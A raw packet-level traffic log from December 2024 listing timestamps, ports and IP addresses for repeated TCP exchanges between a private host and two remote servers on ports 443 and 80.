Dec 7, 2024 08:43:40.668184042 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.668220043 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.668293953 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.668445110 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.668457031 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.734519958 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.734561920 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.734610081 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.734738111 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.734754086 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.734765053 CET	49771	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.734770060 CET	443	49771	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.736816883 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.736833096 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.736901999 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.737020969 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.737030983 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.773035049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.773111105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.773216963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.773401022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.773452997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.773453951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.773492098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.774214983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.774257898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.774315119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.774358988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.775067091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.775114059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.775183916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.775228977 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.775918961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.775963068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.776011944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.776051998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.776757956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.776804924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.776859045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.776904106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.777592897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.777636051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.777699947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.777743101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.778420925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.778465033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.778547049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.778594971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.779299021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.779345989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.779424906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.779469967 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.780155897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.780200958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.780239105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.780278921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.780960083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.781006098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.781039953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.781085014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.781837940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.781887054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.781946898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.781989098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.782716036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.782808065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.782830954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.782850027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.783509016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.783552885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.783610106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.783655882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.784394026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.784440041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.784584045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.784629107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.785187006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.785233021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.785290956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.785337925 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.786068916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.786113024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.786181927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.786226034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.786964893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.787009954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.787075043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.787117004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.787776947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.787822008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.787867069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.787905931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.788558960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.788603067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.788659096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.788702965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.789418936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.789463043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.789531946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.789578915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.790260077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.790303946 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.790400982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.790446043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.791122913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.791166067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.791230917 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.791275024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.791933060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.791977882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.792049885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.792094946 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.792794943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.792841911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.792872906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.792920113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.793649912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.793699026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.793732882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.793781042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.794485092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.794533014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.794591904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.794636965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.795319080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.795363903 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.795425892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.795461893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.796243906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.796293020 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.796374083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.796416044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.797000885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.797048092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.797080994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.797127008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.797841072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.797902107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.797950029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.797998905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.798686028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.798738956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.798789024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.798829079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.799529076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.799580097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.799629927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.799674988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.800353050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.800395012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.800486088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.800530910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.801191092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.801244974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.801321030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.801362991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.802063942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.802114964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.802195072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.802243948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.802903891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.802953005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.803024054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.803066015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.803755045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.803805113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.803880930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.803930998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.804565907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.804617882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.804692030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.804735899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.805445910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.805496931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.805558920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.805603027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.806267023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.806317091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.806350946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.806390047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.807130098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.807182074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.807215929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.807262897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.807964087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.808012962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.808099031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.808145046 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.808816910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.808861017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.808974981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.809020042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.809678078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.809726000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.809781075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.809824944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.810545921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.810587883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.810745001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.810792923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.811362982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.811409950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.811427116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.811467886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.812216997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.812262058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.812412977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.812455893 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.813034058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.813070059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.813147068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.813194036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.813884020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.813931942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.814011097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.814054966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.814734936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.814785957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.814886093 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.814933062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.815567017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.815613985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.815700054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.815747023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.816399097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.816445112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.816471100 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.816514969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.817188978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.817236900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.851686001 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.851752996 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.851809025 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.852054119 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.852061987 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.852072954 CET	49772	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.852077007 CET	443	49772	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.852957964 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.853009939 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.853058100 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.853193045 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.853193045 CET	49774	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.853199005 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.853204966 CET	443	49774	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.855199099 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855214119 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.855242014 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855258942 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.855284929 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855334997 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855479956 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855480909 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:40.855489969 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.855495930 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:40.965111017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.965157986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.965190887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.965215921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.965512991 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.965558052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.965671062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.965734959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.966403961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.966449976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.966501951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.966546059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.967444897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.967499971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.967504978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.967545033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.968082905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.968135118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.968158007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.968206882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.968878031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.968924999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.968980074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.969027042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.969732046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.969786882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.969809055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.969852924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.970585108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.970633030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.970740080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.970789909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.971436024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.971486092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.971544027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.971590042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.972254038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.972304106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.972368956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.972412109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.973115921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.973164082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.973172903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.973217010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.974000931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.974056959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.974132061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.974180937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.974941015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.974988937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.975076914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.975130081 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.975639105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.975687027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.975799084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.975847960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.976522923 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.976569891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.976650953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.976695061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.977381945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.977427006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.977437019 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.977480888 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.978184938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.978230953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.978307009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.978349924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.979017973 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.979068041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.979139090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.979186058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.979845047 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.979892015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.980012894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.980061054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.980706930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.980756044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.980819941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.980869055 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.981574059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.981626034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.981702089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.981750011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:40.982433081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:40.982481003 CET	49759	80	192.168.2.5	185.215.113.206
